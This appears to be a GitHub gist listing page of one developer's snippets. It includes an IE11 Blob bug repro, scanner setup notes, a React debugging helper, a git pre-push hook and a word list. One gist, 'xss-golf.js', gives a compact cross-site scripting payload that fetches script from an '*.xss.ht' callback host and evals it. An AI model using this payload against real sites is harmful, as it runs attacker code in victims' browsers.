Skip to content

Instantly share code, notes, and snippets.

Avatar

Alexander Prinzhorn Prinzhorn

View GitHub Profile
@Prinzhorn
Prinzhorn / index.js
Last active Jan 1, 2020
Internet Explorer 11 Blob from DataView throws InvalidStateError
View index.js
var buffer = new ArrayBuffer(8);
var left = new DataView(buffer, 0, 4);
try {
//Throws InvalidStateError in IE 11.
//It does work if we use a specific view like Uint8Array and not the generic DataView contructor.
new Blob([left]);
} catch(ex) {
alert(ex.message);
}
@Prinzhorn
Prinzhorn / INSTALLATION.md
Last active Apr 4, 2019
Ubuntu scanner Samsung SCX-3405
View INSTALLATION.md

Find printer IP

lpinfo  -v

Replace the USB entry with TCP

nano /etc/sane.d/xerox_mfp.conf
@Prinzhorn
Prinzhorn / index.js
Created Sep 18, 2015
Quick and dirty way to debug which prop/state changes caused react update
View index.js
componentDidUpdate: function(prevProps, prevState) {
var differentProps = {};
var differentState = {};
var k;
for(k in prevProps) {
if(prevProps[k] !== this.props[k]) {
differentProps[k] = [prevProps[k], this.props[k]];
}
}
@Prinzhorn
Prinzhorn / README.md
Created Apr 24, 2018
Intel NUC skull canyon Ubuntu audio input microphone headset recording
View README.md
@Prinzhorn
Prinzhorn / levenshtein-3-beer.txt
Created Jan 13, 2018
Words with a distance of <= 3 to "beer"
View levenshtein-3-beer.txt
peng 3
bebop 3
gar 3
newt 3
ref 3
yeven 3
bats 3
boles 3
kea 3
urger 3
@Prinzhorn
Prinzhorn / xss-golf.js
Last active Jul 26, 2017
XSS vector golfing
View xss-golf.js
//Before
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//*.xss.ht");a.send();
//After
with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*.xss.ht");send()}
@Prinzhorn
Prinzhorn / output
Created Jul 13, 2017
Apache 2 in a folder from command line
View output
(13)Permission denied: AH00072: make_sock: could not bind to address [::]:80
(13)Permission denied: AH00072: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
AH00015: Unable to open logs
View index.html
<!DOCTYPE html>
<head>
<meta charset="utf-8">
</head>
<body>
<svg width="500" height="500">
<clipPath id="clippy1"></clipPath>
<clipPath id="clippy2"></clipPath>
<clipPath id="clippy3"></clipPath>
@Prinzhorn
Prinzhorn / README.md
Last active Nov 5, 2016
Conditional rendering handler for Epoxy.js
View README.md

Similar to the toggle handler, but it will detach the element from the DOM instead of just hiding it. Much like knockout's if binding.

Usage

<div data-bind="if: someCondition"></div>

where someCondition can of course also be a computed property, so this gives you all flexibility you need.

@Prinzhorn
Prinzhorn / pre-push
Created Nov 11, 2013
pre-push hook to prevent pushing when untracked files are present. i.e. breaking your production server because you forgot to add a new file in your commit and the tests run locally inside the repo.
View pre-push
git status --porcelain | grep '^??'
rc=$?
#grep exits with 0 when a match is found.
if [ $rc = 0 ] ; then
echo "Untracked files present. Aborting push.";
exit 1;
fi
You can’t perform that action at this time.